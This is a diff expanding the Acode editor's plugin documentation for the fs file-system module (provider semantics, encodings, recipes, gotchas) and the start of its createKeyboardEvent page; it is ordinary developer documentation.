+On `file://` URLs the write passes `create = false` to the FileEntry writer, so the target must already exist — otherwise the call rejects. Use `createFile()` (or read → modify → `createFile` for a brand new file) instead.
+:::
+
+The `encoding` argument is only consulted when `content` is a `string`; `ArrayBuffer` and `Blob` content is written as raw bytes and the charset is ignored. When no `encoding` is given, a string is handed to the platform writer unchanged (UTF-8 in practice).
+
 ### `createFile(name, content)`
 
-Creates a new file with the specified name and content. If a file with the same name exists, it will be overwritten.
+Creates a new file with the specified name and content **inside this directory**. Only one path segment is allowed — use `createDirectory()` for each level first (or `acode.require("helpers").createFileStructure(uri, name)` for nested paths).
 
 ```javascript
 /**
  * Create a new file
  * @param {string} name Name of the new file
- * @param {string} content Content for the new file
+ * @param {string | ArrayBuffer | Blob} [content] Content for the new file, defaults to ""
  * @returns {Promise<string>} URL of the created file
  */
 const createdFile = await filesystem.createFile('filename.js', 'file content');
 ```
 
+::: warning Not an overwrite on `file://`
+For `file://` URLs `createFile()` performs an **exclusive** create (`exclusive = true`), so it rejects when the file already exists instead of truncating it. Delete first, or call `writeFile()` on the existing file. `content://` behaviour is decided by the native SAF bridge and may differ.
+:::
+
 ### `createDirectory(name)`
 
-Creates a new directory with the specified name.
+Creates a new directory with the specified name **inside this directory**, and resolves with its URL. Like `createFile()`, one path segment per call — create each parent level first.
 
 ```javascript
 /**
@@ -96,9 +149,11 @@ Creates a new directory with the specified name.
 const createdDirectory = await filesystem.createDirectory('newDirectory');
 ```
 
+On `file://` URLs an already existing directory is not an error: the underlying `getDirectory(name, { create: true })` resolves the existing one and its `stat().url` is returned, which makes this a safe "ensure directory exists" call.
+
 ### `delete()`
 
-Deletes the file or directory specified by the URL.
+Deletes the file or directory specified by the URL. On `file://` URLs a directory is removed **recursively** (`removeRecursively`), so the whole subtree goes with it.
 
 ```javascript
 /**
@@ -108,45 +163,76 @@ Deletes the file or directory specified by the URL.
 await filesystem.delete();
 ```
 
+::: danger `delete()` on a directory takes its whole subtree with it
+This is a permanent delete with no trash step and no undo. Worse, **there is no way to ask for a shallow delete**: `delete()` takes no arguments at all, `fsOperation()` forwards only the URL to the provider factory (`src/fileSystem/index.js:68`), and the `file://` provider branches to `entry.removeRecursively()` for a directory (`src/fileSystem/internalFs.js:76-80`). So calling `delete()` on a directory removes every kept entry underneath it, no matter what you skipped while walking the tree.
+
+To delete selectively you must **delete the unwanted children first and then only the directories that are genuinely empty** — never `delete()` a directory that still has contents you want. See [Delete a tree, skipping some entries](#common-recipes).
+:::
+
 ### `copyTo(destination)`
 
-Copies the file or directory to the specified destination.
+Copies the file or directory into the **destination directory**, keeping the source name, and resolves with the URL of the new entry.
 
 ```javascript
 /**
- * Copy file or directory to a destination
- * @param {string} destination Destination URL
+ * Copy file or directory into a destination directory
+ * @param {string} destination URL of the destination directory
  * @returns {Promise<string>} URL of the copied file or directory
  */
-const copiedItem = await filesystem.copyTo('destination');
+const copiedItem = await filesystem.copyTo('file:///sdcard/AcodeCache/backup');
 ```
 
+| Provider | Semantics |
+| --- | --- |
+| `file://` | `dest` must be an existing directory; the entry lands at `dest/<source name>`. Directories are copied recursively by the platform `copyTo`. Rejects with `code: 12` / `"Path already exists"` when `dest/<source name>` already exists — **there is no overwrite flag**. |
+| `sftp://` | Same shape (`dest` is a directory). The provider implements the recursion itself by downloading and re-uploading every entry, then deletes the temp file. |
+| `content://` | The native SAF bridge also treats `dest` as a directory: it creates a new document named after the source inside `dest` (and, for directories, walks the tree). Rejects with `Unable to copy <url>` if the copy cannot be completed. |
+| `ftp://` | **Not supported** — `copyTo()` rejects with `Error("Not supported by FTP.")`. |
+| `http(s)://` | No `copyTo` at all; the handle only has `readFile` / `writeFile`. |
+
+::: warning
+The argument is always a **string URL**. There is no overload that accepts a `File`/`Directory` handle — call `fsOperation(entry.url).copyTo(target)` instead.
+:::
+
 ### `moveTo(destination)`
 
-Moves the file or directory to the specified destination.
+Moves the file or directory into the **destination directory**, keeping the source name, and resolves with the URL of the new entry.
 
 ```javascript
 /**
- * Move file or directory to a destination
- * @param {string} destination Destination URL
+ * Move file or directory into a destination directory
+ * @param {string} destination URL of the destination directory
  * @returns {Promise<string>} URL of the moved file or directory
  */
-const movedItem = await filesystem.moveTo('destination');
+const movedItem = await filesystem.moveTo('file:///sdcard/AcodeCache/backup');
 ```
 
+| Provider | Semantics |
+| --- | --- |
+| `file://` | `dest` must be an existing directory; uses the platform `moveTo`, which rejects when `dest/<source name>` already exists. |
+| `sftp://` / `ftp://` | Only the **pathname** of `dest` is used, and the source basename is appended — the entry keeps its name. |
+| `content://` | Delegated to the native SAF bridge. Moving an entry into the directory it already lives in is short-circuited to a no-op that resolves with the original URL (`Url.areSame` check against `Url.dirname(url)`). |
+| `http(s)://` | No `moveTo`. |
+
+Same overwrite rule as `copyTo`: on `file://` the destination entry must not already exist.
+
 ### `renameTo(newName)`
 
-Renames the file or directory to the specified new name.
+Renames the file or directory to the specified **new name** and resolves with its new URL. Pass a bare name, not a path — the provider joins it with the current parent directory itself.
 
 ```javascript
 /**
  * Rename file or directory
- * @param {string} newName New name
+ * @param {string} newName New name (basename only)
  * @returns {Promise<string>} URL of the renamed file or directory
  */
-const renamedItem = await filesystem.renameTo('newName');
+const renamedItem = await filesystem.renameTo('newName.js');
 ```
 
+::: tip
+Case-only renames work: on `file://` the provider renames the entry to a temporary UUID first and then to the requested name, because the underlying platform API is case-insensitive.
+:::
+
 ### `exists()`
 
 Checks if the specified file or directory exists.
@@ -159,6 +245,14 @@ Checks if the specified file or directory exists.
 const doesExist = await filesystem.exists();
 ```
 
+This is the one method that reports a missing path as a value instead of a rejection: on `file://` it resolves `false` when the platform returns `NOT_FOUND_ERR` (code `1`), and on `content://` any error is swallowed and turned into `false`.
+
+::: warning
+Coerce the result. On `content://` the provider returns the native `stats.exists` field verbatim, so a native response without that field makes `exists()` resolve `undefined` instead of `false`. Write `if (await fs.exists())` — truthy — or `Boolean(await fs.exists())`.
+:::
+
+FTP and SFTP are the exception: their `exists()` goes to the network and **can reject** on a connection failure.
+
 ### `stat()`
 
 Retrieves information about the file or directory.
@@ -171,6 +265,8 @@ Retrieves information about the file or directory.
 const fileStats = await filesystem.stat();
 ```
 
+Unlike `exists()`, `stat()` **rejects** for a missing path — use it when you need the size/mtime, and `exists()` when you only need a boolean. See [`Stat`](#stat-object) for the exact keys, and note that `modifiedDate` is a timestamp in milliseconds (`Date | number` on the synthesised SAF storage root).
+
 ## Type Definitions
 
 ### `Stat` Object
@@ -182,7 +278,7 @@ const fileStats = await filesystem.stat();
  * @property {string} url URL of the file or directory
  * @property {boolean} isFile Indicates if it's a file
  * @property {boolean} isDirectory Indicates if it's a directory
- * @property {boolean} isLink Indicates if it's a symbolic link (unsupported, always false)
+ * @property {boolean} isLink Indicates if it's a symbolic link
  * @property {number} size Size of the file in bytes
  * @property {number} modifiedDate Last modified date timestamp
  * @property {boolean} canRead Indicates if the file or directory can be read
@@ -190,6 +286,19 @@ const fileStats = await filesystem.stat();
  */
 ```
 
+Additional keys that individual providers add:
+
+| Key | Type | Where it comes from |
+| --- | --- | --- |
+| `uri` | `string` | Deprecated getter/setter alias of `url`, defined on every `stat()` result by `helpers.defineDeprecatedProperty` |
+| `exists` | `boolean` | Native `sdcard.stats` / SFTP stat. This is what `exists()` returns, so it is present on a *successful* `stat()` |
+| `mime` / `type` | `string` | `type` is set to a MIME lookup by the FTP, SFTP and SAF providers, and to `"dir"` for a synthesised SAF storage root; `mime` appears on native SAF entries |
+| `linkTarget` | `string` | SFTP only — the link target rewritten as a full `sftp://profile-…` URL |
+
+::: warning Read mtime defensively
+`modifiedDate` is a millisecond timestamp, but the SAF storage-root `stat()` builds it with `new Date()`, so normalise with the app's own helper: `acode.require("helpers").getStatMtime(stat)`, which accepts `modifiedDate`, `lastModified` **or** `mtime` and always returns a number or `null`.
+:::
+
 ### `FileSystem` Object
 
 ```javascript
@@ -199,18 +308,316 @@ const fileStats = await filesystem.stat();
  * @property {() => Promise<void>} delete Delete file or directory
  * @property {() => Promise<boolean>} exists Check if file or directory exists
  * @property {() => Promise<Stat>} stat Get file or directory stat
- * @property {(encoding?: string) => Promise<string | ArrayBuffer>} readFile Read file
- * @property {(content: string | ArrayBuffer) => Promise<void>} writeFile Write file content
- * @property {(name: string, content: string) => Promise<string>} createFile Create file and return URL of the created file
+ * @property {(encoding: string) => Promise<FileContent>} readFile Read file
+ * @property {(data: FileContent, encoding: string) => Promise<void>} writeFile Write file content
+ * @property {(name: string, data: FileContent) => Promise<string>} createFile Create file and return URL of the created file
  * @property {(name: string) => Promise<string>} createDirectory Create directory and return URL of the created directory
- * @property {(destination: string) => Promise<string>} copyTo Copy file or directory to destination
- * @property {(destination: string) => Promise<string>} moveTo Move file or directory to destination
- * @property {(newName: string) => Promise<string>} renameTo Rename file or directory
+ * @property {(dest: string) => Promise<string>} copyTo Copy file or directory to destination
+ * @property {(dest: string) => Promise<string>} moveTo Move file or directory to destination
+ * @property {(newname: string) => Promise<string>} renameTo Rename file or directory
+ * @property {string} localName Path of the local cache copy (FTP and SFTP only)
+ * @typedef {string | Blob | ArrayBuffer} FileContent
  */
 ```
 
+That is the whole surface — there is no `appendFile`, `readdir`, `mkdirp`, `symlink`, `chmod` or `toString`. `localName` is the only extra member, and only the FTP and SFTP providers define it: it is the path of the local cache file the provider downloads to / uploads from, which is handy when you need to hand a remote file to a native API.
+
 ### Notes
 
-- This `fs` module is designed for basic file system operations and does not support symbolic links (`isLink` is always false).
+- This `fs` module is designed for basic file system operations and has no API for creating or resolving symbolic links. `isLink` is `false` for `file://`, `content://` and `ftp://` entries; SFTP reports it truthfully, and the app deliberately does **not** recurse into links when indexing a tree.
 - Care should be taken while using methods like `delete()`, as they permanently remove files or directories.
-- Each method returns a Promise, allowing for asynchronous file system operations.
+- Every I/O method returns a Promise, allowing for asynchronous file system operations. There are **no synchronous variants**, and `fsOperation()` itself is synchronous.
+
+## The `lsDir()` Entry Shape <Badge type="tip" text="new" />
+
+`lsDir()` resolves with plain objects. The **guaranteed** shape is `name`, `url`, `isFile` and `isDirectory`; everything else depends on the provider:
+
+| Provider | `lsDir()` returns |
+| --- | --- |
+| `file://` | Exactly `{ name, url, isDirectory, isFile }` — built in `internalFs.createFs` from the FileEntry, URL-decoded, and `name` is `Url.basename(url)`. No `size`, no `modifiedDate`. |
+| `content://` | The native SAF `sdcard.listDir` records passed through untouched, so `size`, `modifiedDate`, `mime`/`type`, `isLink`, `exists` … are all present. |
+| `ftp://` | Native records with `url` rewritten to the full `ftp://user:pass@host:port/…` URL and `type` set from a MIME lookup of the name. |
+| `sftp://` | Native records with `url` rewritten to `sftp://profile-<id>/…`, a `type` MIME lookup, and `linkTarget` for symlinks. |
+
+```js
+const entries = await fsOperation(dirUrl).lsDir();
+
+for (const entry of entries) {
+  // entry.name / entry.url always exist
+  if (entry.isDirectory) {
+    await fsOperation(entry.url).lsDir(); // recurse yourself
+  } else {
+    const stat = await fsOperation(entry.url).stat(); // for size / mtime
+  }
+}
+```
+
+::: warning
+On `file://` URLs an entry has **no** `size` or `modifiedDate`. Call `stat()` per entry when you need them — that is exactly what the app's own indexer does.
+:::
+
+## Supported URL Schemes <Badge type="tip" text="new" />
+
+`fsOperation()` picks the first registered provider whose `test(url)` returns `true`. Registration order in `src/fileSystem/index.js` is SFTP → FTP → `file:` → `content:` → `http(s):`, so:
+
+| Scheme | Example | Provider |
+| --- | --- | --- |
+| `sftp:` | `sftp://profile-6f1c…/var/www/` | `Sftp.fromUrl`. The host **must** be a native profile id (`profile-…`); a legacy URL with `username`/`password`/`keyFile`/`passPhrase` query credentials throws `"Legacy SFTP credentials must be migrated to a native profile"`. |
+| `ftp:` | `ftp://user:pass@host/pub/?security=explicit&mode=active` | `Ftp.fromUrl`; `security` and `mode` come from the query string. |
+| `file:` | `file:///sdcard/Acode/test.txt`, `file:///data/user/0/com.foxdebug.acode/files/plugins/<id>/main.js` | `internalFs` — the FileEntry API plus the native `sdcard.stats` bridge. |
+| `content:` | `content://com.android.externalstorage.documents/tree/primary%3ADownload%2Ftest.txt` | `externalFs` — Android SAF, via `sdcard.formatUri()` and friends. |
+| `http:` / `https:` | `https://example.com/plugin.json` | Read-only HTTP provider using `ajax.get`/`ajax.post` with `responseType: "arraybuffer"`. Only `readFile(encoding?)` and `writeFile(content)` exist. |
+| anything else | `myapp://x` | **`undefined`** — `fsOperation()` returns `undefined` and every property access on it throws `TypeError`. |
+
+Notes on the two local schemes:
+
+- `file://` covers **both** app-internal storage (`file:///data/user/0/com.foxdebug.acode/files/…`, where plugins live) and `/sdcard`. There is no separate "internal" scheme.
+- `content://` URLs contain a `primary:`-style document id that must stay percent-encoded when you build them. Use `acode.joinUrl(...)` / [`Url.join()`](./url.md) instead of string concatenation — it understands the `rootUri::root:path` shape and the `?query` suffix.
+- On Android 11+ a `content://` tree that the user has not granted yet needs a storage permission prompt first (`sdcard.getStorageAccessPermission`); the app shows a loader while the user picks the folder.
+
+## Encoding Support <Badge type="tip" text="new" />
+
+The `encoding` argument of `readFile()` / `writeFile()` is the *same* charset vocabulary as [`acode.require("encodings")`](./encoding.md):
+
+| Value | Meaning |
+| --- | --- |
+| omitted | Binary mode. `readFile()` gives an `ArrayBuffer`; `writeFile()` writes a string unchanged (UTF-8 in practice). |
+| `"json"` | Read: decode as UTF-8 and `JSON.parse`. Write: a `"json"` encoding is resolved to UTF-8, so the value is written as text — stringify it yourself. |
+| `"auto"` | Rewritten to `"UTF-8"` before the lookup, **not** to the user's default encoding. |
+| any charset name or alias | e.g. `"utf-8"`, `"utf8"`, `"GBK"`, `"windows-1252"`, `"ISO-8859-1"`. |
+
+Four rules that are easy to get wrong:
+
+1. **Lookup is case-insensitive and alias-aware.** `getEncoding()` lowercases the requested string and compares it against every charset name *and* every alias, so `"utf-8"`, `"UTF-8"` and `"utf8"` all resolve to the same encoder.
+2. **Unknown charsets do not throw — they silently become UTF-8.** `getEncoding()` returns `encodings["UTF-8"]` when nothing matches, so a typo such as `"utf16"` decodes as UTF-8 instead of erroring. Validate against `encodings.encodings` if the charset came from user input.
+3. **Only string content is encoded.** `writeFile(buffer, "gbk")` writes the bytes untouched — the `encoding` argument is only read when `typeof content === "string"`.
+4. **`defaultFileEncoding` is not consulted here.** It is only used when a charset argument is *falsy*, and `fs` skips the whole decode/encode path when `encoding` is falsy. To respect the user's setting, pass it explicitly: `fs(url).readFile(acode.require("settings").value.defaultFileEncoding)`.
+
+## Registering Your Own Provider <Badge type="tip" text="new" />
+
+The function you get from `acode.require("fs")` carries two static helpers, so a plugin can add a storage backend for a scheme of its own:
+
+```js
+const fs = acode.require("fs");
+
+const test = (url) => /^myscheme:/.test(url);
+
+fs.extend(test, (url) => ({
+  lsDir: async () => [/* { name, url, isFile, isDirectory } */],
+  readFile: async (encoding) => new ArrayBuffer(0),
+  writeFile: async (content, encoding) => {},
+  exists: async () => true,
+  stat: async () => ({ name: "x", url, isFile: true, isDirectory: false, size: 0, modifiedDate: Date.now() }),
+  delete: async () => {},
+}));
+
+// Later, during unmount:
+fs.remove(test); // identity-compared against the same test function
+```
+
+| Member | Signature | Behaviour |
+| --- | --- | --- |
+| `extend` | `(test: (url: string) => boolean, fs: (url: string) => FileSystem) => void` | Pushes `{ test, fs }` on the provider list. Registration is searched in order, and built-ins are registered first, so a plugin **cannot** shadow a built-in scheme — it must use a new one. Every open editor file whose `uri` the new `test` matches and that has a tab but has not loaded yet is loaded automatically. |
+| `remove` | `(test: (url: string) => boolean) => void` | Removes the first provider whose `test` is the **identical function reference**. Keep a reference to the exact function you passed to `extend`. |
+
+`fsOperation.hasProvider(url)` is not exposed to plugins — `acode.require("fs")` gives you only the callable plus `extend` / `remove`.
+
+## Complete Example: read → modify → write <Badge type="tip" text="new" />
+
+```js
+const fs = acode.require("fs");
+const Url = acode.require("Url");
+
+async function appendLine(line) {
+  const dirUrl = await fs(CACHE_STORAGE).createDirectory("my-plugin");
+  const fileUrl = Url.join(dirUrl, "notes.md");
+
+  try {
+    // 1. createDirectory() above is idempotent on file:// URLs, so the
+    //    directory is guaranteed to exist here.
+    const exists = await fs(fileUrl).exists();
+    let text = "";
+
+    // 2. Read as text. Call with no argument to get an ArrayBuffer instead.
+    if (exists) {
+      text = await fs(fileUrl).readFile("utf-8");
+      if (typeof text !== "string") {
+        text = new TextDecoder().decode(text);
+      }
+    }
+
+    // 3. Modify.
+    const prefix = text && !text.endsWith("\n") ? "\n" : "";
+    const next = `${text}${prefix}- ${line}\n`;
+
+    if (exists) {
+      // 4a. writeFile() does not create, so it is the right call for an
+      //     existing file.
+      await fs(fileUrl).writeFile(next, "utf-8");
+    } else {
+      // 4b. createFile() is exclusive on file:// URLs — safe here because
+      //     we just proved the file does not exist.
+      await fs(dirUrl).createFile("notes.md", next);
+    }
+
+    acode.toast("Saved", 1500);
+    return fileUrl;
+  } catch (error) {
+    // Platform errors carry .code (1 = "Path not found", 12 = "Path already
+    // exists", ...) plus a human readable .message.
+    acode.toast(`Save failed: ${error?.message || error}`, 3000);
+    console.error("appendLine failed", error);
+    return null;
+  }
+}
+
+acode.setPluginInit(plugin.id, () => {
+  appendLine("hello from the plugin");
+});
+```
+
+## Common Recipes <Badge type="tip" text="new" />
+
+::: code-group
+
+```js [Read a file as text]
+const fs = acode.require("fs");
+const fileUrl = "file:///sdcard/Acode/notes.md";
+
+if (await fs(fileUrl).exists()) {
+  const text = await fs(fileUrl).readFile("utf-8");
+  console.log(text.slice(0, 100));
+}
+```
+
+```js [Read as base64 / data URL]
+const fs = acode.require("fs");
+
+// No encoding -> ArrayBuffer of the raw bytes.
+const buffer = await fs("file:///sdcard/Acode/logo.png").readFile();
+
+const bytes = new Uint8Array(buffer);
+let binary = "";
+for (let i = 0; i < bytes.length; i += 0x8000) {
+  binary += String.fromCharCode(...bytes.subarray(i, i + 0x8000));
+}
+const base64 = btoa(binary);
+const dataUrl = `data:image/png;base64,${base64}`;
+```
+
+```js [Write text and binary]
+const fs = acode.require("fs");
+const fileUrl = "file:///sdcard/Acode/notes.md";
+
+// Text: pick the charset explicitly. The file must already exist.
+await fs(fileUrl).writeFile("héllo", "utf-8");
+
+// Binary: pass the bytes, no encoding argument.
+await fs(fileUrl).writeFile(new Uint8Array([0x89, 0x50, 0x4e, 0x47]));
+```
+
+```js [Ensure a nested directory exists]
+const fs = acode.require("fs");
+const helpers = acode.require("helpers");
+
+// One segment per call.
+let url = "file:///sdcard/AcodeCache";
+for (const segment of ["my-plugin", "templates", "html"]) {
+  url = await fs(url).createDirectory(segment);
+}
+
+// Or let the app walk and create every missing level for you.
+const result = await helpers.createFileStructure(
+  CACHE_STORAGE,
+  "my-plugin/templates/html/index.html",
+);
+result.uri;      // URL of the FIRST entry it had to create (…/my-plugin here)
+result.type;     // "file" or "folder"
+result.created;  // false when everything already existed
+```
+
+```js [Walk a tree recursively]
+const fs = acode.require("fs");
+const Url = acode.require("Url");
+
+async function* walk(dirUrl) {
+  const entries = await fs(dirUrl).lsDir();
+  for (const entry of entries) {
+    yield entry;
+    if (entry.isDirectory) yield* walk(entry.url);
+  }
+}
+
+for await (const entry of walk("file:///sdcard/Acode")) {
+  console.log(entry.isDirectory ? "[dir] " : "      ", Url.basename(entry.url));
+}
+```
+
+```js [Delete a tree, skipping some entries]
+const fs = acode.require("fs");
+
+// Returns true when `dirUrl` and everything under it is gone,
+// false when a kept entry survived and `dirUrl` had to stay.
+async function deleteTree(dirUrl, keep = new Set()) {
+  let keptSomething = false;
+
+  for (const entry of await fs(dirUrl).lsDir()) {
+    // A kept name is left completely alone, subtree included.
+    if (keep.has(entry.name)) {
+      keptSomething = true;
+      continue;
+    }
+
+    if (entry.isDirectory) {
+      // A subdirectory that still holds a kept entry must survive, and so
+      // must this one. `delete()` is recursive on file://, so we may only
+      // call it on a directory we know is empty.
+      if (!(await deleteTree(entry.url, keep))) {
+        keptSomething = true;
+        continue;
+      }
+    }
+
+    await fs(entry.url).delete();
+  }
+
+  if (!keptSomething) await fs(dirUrl).delete();
+  return !keptSomething;
+}
+
+// "cache" survives (at any depth); everything else under my-plugin is removed,
+// and my-plugin itself stays because "cache" is still inside it.
+await deleteTree(`${CACHE_STORAGE}/my-plugin`, new Set(["cache"]));
+
+// With an empty `keep` the whole tree, including the root, is deleted.
+await deleteTree(`${CACHE_STORAGE}/stale-cache`);
+```
+
+```js [Duplicate before editing]
+const fs = acode.require("fs");
+const fileUrl = "file:///sdcard/Acode/notes.md";
+
+// copyTo() takes the destination DIRECTORY and keeps the source name.
+const backupDir = await fs(CACHE_STORAGE).createDirectory("backup");
+await fs(fileUrl).copyTo(backupDir); // -> backupDir/notes.md
+```
+:::
+
+## Gotchas <Badge type="tip" text="new" />
+
+Grounded in `src/fileSystem/*.js`:
+
+1. **`fsOperation()` is synchronous and never validates.** `const filesystem = fs(url)` — no `await`, and the JSDoc return type is `FileSystem`, not `Promise<FileSystem>`. For a missing path you still get a handle; the error appears on the first method call.
+2. **`exists()` is the only non-throwing probe**, and on `content://` it resolves whatever `stat().exists` contains — possibly `undefined`. Coerce with `Boolean(...)`.
+3. **`stat()` rejects on a missing path** — it is not a safe existence check. Wrap it in `try/catch` or check `exists()` first.
+4. **`copyTo()` / `moveTo()` take a directory URL and do not overwrite.** On `file://` an existing target rejects with `code: 12` (`"Path already exists"`). Delete or rename the destination first, and note that `ftp://` has no `copyTo` at all.
+5. **`renameTo()` takes a bare name.** Passing a path such as `"sub/newName.txt"` produces a file literally called `sub/newName.txt` on `file://` URLs.
+6. **`writeFile()` cannot create, `createFile()` cannot overwrite** (on `file://`). Pick one based on whether the file is already there.
+7. **`createDirectory()` / `createFile()` create exactly one level.** `createFile("a/b.txt", …)` fails because `a` does not exist — use `acode.require("helpers").createFileStructure()` for nested paths.
+8. **Every I/O method is async and can reject; there are no sync variants.** `exists()` is the sole exception that reports failure as a value (FTP/SFTP still reject on network errors).
+9. **Charset names are case-insensitive and alias-aware, and unknown ones silently fall back to UTF-8.** They do not throw, so a typo is a silent mis-decode rather than an error. See [Encoding](./encoding.md).
+10. **`delete()` on a directory is recursive** on `file://` (`removeRecursively`) and on `sftp://` (the recursive flag is passed to `sftp.rm`). It takes **no arguments on any provider**, so there is no `delete(recursive: false)`, no `rmdir`-only variant and no children filter.
+11. **Encoding arguments are ignored for binary content** — `writeFile(buffer, "gbk")` writes the buffer unchanged.
+12. **`localName` only exists on FTP and SFTP handles.** `fs(url).localName` is `undefined` for `file://`, `content://` and `http(s)://`, so feature-detect it.
+13. **An unknown scheme yields `undefined`, not an error.** `fs('myapp://x').exists()` throws `TypeError: Cannot read properties of undefined`. Check the handle before use.
+
diff --git a/docs/utilities/keyboard-event.md b/docs/utilities/keyboard-event.md
index 46869d4..5a86697 100644
--- a/docs/utilities/keyboard-event.md
+++ b/docs/utilities/keyboard-event.md
@@ -2,6 +2,10 @@
 
 The `createKeyboardEvent` API allows you to programmatically create and dispatch keyboard events in Acode. This is useful for simulating keyboard interactions and testing keyboard-driven features.
 
+::: info
+Verified against Acode **v1.13.5**: `src/utils/keyboardEvent.js` (registered in `src/lib/acode.js` as `this.define("createKeyboardEvent", KeyboardEvent)`).
+:::
+
 ## Import
 
 ```js
@@ -21,32 +25,55 @@ const event = createKeyboardEvent('keydown', {
 document.dispatchEvent(event);
 ```
 
+::: warning
+`bubbles` defaults to **`false`** (`src/utils/keyboardEvent.js:88`), so an event dispatched on `document` will never reach a listener on the editor or on an input. Pass `bubbles: true` and dispatch on the element you want the event to reach.
+:::
+
 ## API Reference
 
-### createKeyboardEvent(type, options)
+### createKeyboardEvent(type, dict)
 
 Creates a new keyboard event with the specified type and options.
 
 #### Parameters
 
-- `type` (*string*) - The type of keyboard event to create. Can be either:
-	- `'keydown'` - Key pressed down
-	- `'keyup'` - Key released
-
-- `options` (*object*) - Configuration options for the keyboard event:
-	- `key` (*string*) - The key value (e.g. 'Enter', 'a', 'ArrowLeft')
-	- `keyCode` (*number*) - The key code (optional if key is specified)
-	- `which` (*number*) - The which code (optional if key is specified)
-	- `ctrlKey` (*boolean*) - Whether Ctrl key is pressed
-	- `shiftKey` (*boolean*) - Whether Shift key is pressed
-	- `altKey` (*boolean*) - Whether Alt key is pressed
-	- `metaKey` (*boolean*) - Whether Meta/Command key is pressed
-	- `bubbles` (*boolean*) - Whether event bubbles up through DOM
-	- `cancelable` (*boolean*) - Whether event can be canceled
+- `type` (*string*) - The type of keyboard event to create. The JSDoc declares `'keydown' | 'keyup'` (`keyboardEvent.js:109`); the `KeyEvent` typedef also lists `'keypress'` (`keyboardEvent.js:3`). The value is passed straight through to `event.initKeyEvent(...)` / `event.initEvent(...)`, so anything the DOM accepts works — but only `keydown` and `keyup` are documented or used.
+
+- `dict` (*object*) - Configuration options. **Only the 15 keys below are read.** Anything else you pass is silently ignored, because the copy loop iterates the fixed `keyboardEventPropertiesDictionary` (`keyboardEvent.js:76-95`, `136-140`).
+
+| Key | Type | Default | Notes |
+|---|---|---|---|
+| `key` | string | `""` | Key name. Back-fills `keyCode`/`which` when those are absent |
+| `keyCode` | number | `0` | Legacy code. Falls back to `key.charCodeAt(0)` |
+| `which` | number | `0` | Defaults to the resolved `keyCode` (`keyboardEvent.js:174`) |
+| `charCode` | number | `0` | Falls back to `char.charCodeAt(0)` |
+| `char` | string | `""` | Character produced by the key |
+| `location` | number | `0` | 0 = standard, 1 = left, 2 = right, 3 = numpad |
+| `ctrlKey` | boolean | `false` | |
+| `shiftKey` | boolean | `false` | |
+| `altKey` | boolean | `false` | |
+| `metaKey` | boolean | `false` | |
+| `repeat` | boolean | `false` | Auto-repeat flag |
+| `locale` | string | `""` | |
+| `detail` | number | `0` | |
+| `bubbles` | boolean | `false` | |
+| `cancelable` | boolean | `false` | |
+
+`altGraphKey` is read internally (`keyboardEvent.js:146`) but is **not** part of the dictionary, so it is always `undefined` — setting it has no effect.
+
+::: danger
+Earlier versions of this page listed only `key`, `keyCode`, `which`, `ctrlKey`, `shiftKey`, `altKey`, `metaKey`, `bubbles` and `cancelable`, and implied any other property was forwarded. Seven real options were missing — `char`, `charCode`, `location`, `repeat`, `locale` and `detail` — and anything outside the 15-key dictionary is dropped.
+:::
 
 #### Returns
 
-Returns a KeyboardEvent object that can be dispatched.
+Returns the `KeyboardEvent` / `Event` object created by `document.createEvent("KeyboardEvent")` (falling back to `document.createEvent("Event")` if that fails) and initialised with your `type`, `bubbles` and `cancelable` — a normal DOM event you can pass to `dispatchEvent()`, or one CodeMirror's keymap will read.
+
+The factory does three things worth knowing:
+
+1. **It mutates your `dict` object.** `keyboardEvent.js:125-134` writes `key`, `keyCode` and `which` back onto the object you passed in. Pass a fresh literal each time, or hold a frozen object and be surprised.
+2. **Initialisation is best-effort.** It tries `initKeyEvent` (Firefox), then the several `initKeyboardEvent` signatures (WebKit / old WebKit / IE9 / W3C) selected by the feature probe at `keyboardEvent.js:40-74`, and finally falls back to `event.initEvent(type, bubbles, cancelable)`.
+3. **Properties are forced on afterwards.** The 15 dictionary values are re-assigned with `delete` + `Object.defineProperty({ writable: true, value })`, and read-only properties are skipped inside a silent `catch` (`keyboardEvent.js:275-288`). This final pass is what makes `event.key`, `event.keyCode` etc. readable regardless of which init branch ran.
 
 ## Examples
 
@@ -70,6 +97,12 @@ const arrowLeft = createKeyboardEvent('keydown', {
 });
 ```
 
+`key: 'Enter'` back-fills the code from the built-in table (`keyboardEvent.js:24`). `key: 'ArrowLeft'` back-fills `37`.
+
+::: warning
+The back-filled code is a **string**, not a number. `keyboardEvent.js:130` uses `Object.keys(keys).find(...)`, and `Object.keys` yields strings, so `dict.keyCode` and `dict.which` become `"13"` and `"13"`. `13 == event.keyCode` is true, but `13 === event.keyCode` is not. Pass an explicit numeric `keyCode` if you need a strict comparison.
+:::
+
 ### Simulating Shortcuts
 
 ```js
@@ -77,7 +110,9 @@ const arrowLeft = createKeyboardEvent('keydown', {
 const ctrlAltDel = createKeyboardEvent('keydown', {
 		key: 'Delete',
 		ctrlKey: true,
-		altKey: true
+		altKey: true,
+		bubbles: true,
+		cancelable: true
 });
 
 // Simulate Shift+Enter
@@ -102,12 +137,93 @@ const enter = createKeyboardEvent('keydown', {
 });
 ```
 
-## Supported Keys
+::: warning
+`keyCode`-only input derives the key name from a **fixed 21-entry table** (`keyboardEvent.js:15-38`). Anything outside it falls back to `String.fromCharCode(code)` (`keyboardEvent.js:127`), i.e. a single character:
+
+| Code | `key` | Code | `key` |
+|---|---|---|---|
+| 8 | `Backspace` | 27 | `Escape` |
+| 9 | `Tab` | 32 | `" "` (a single space) |
+| 13 | `Enter` | 33 | `PageUp` |
+| 16 | `ShiftLeft` | 34 | `PageDown` |
+| 17 | `ControlLeft` | 35 | `End` |
+| 18 | `AltLeft` | 36 | `Home` |
+| 19 | `Pause` | 45 | `Insert` |
+| 20 | `CapsLock` | 46 | `Delete` |
+| 37 | `ArrowLeft` | | |
+| 38 | `ArrowUp` | | |
+| 39 | `ArrowRight` | | |
+| 40 | `ArrowDown` | | |
+
+So `createKeyboardEvent('keydown', { keyCode: 112 })` — F1 — produces `key === 'p'`, and `createKeyboardEvent('keydown', { key: 'F1' })` produces `keyCode === 70` (the char code of `'F'`), because the reverse lookup misses and falls back to `key.charCodeAt(0)` (`keyboardEvent.js:131`). CodeMirror keymaps match on `key` names, so **always pass `key`, not `keyCode`, for anything outside this table.**
+:::
+
+## Supported keys
 
-Common supported keys include:
+The `keys` table above is the *only* set with real names. Everything else you can pass as a `key` string is forwarded verbatim, and `KeyboardEvent` consumers on Chromium accept the full `UI Events` vocabulary — this is what Acode itself relies on when it forwards shortcuts:
 
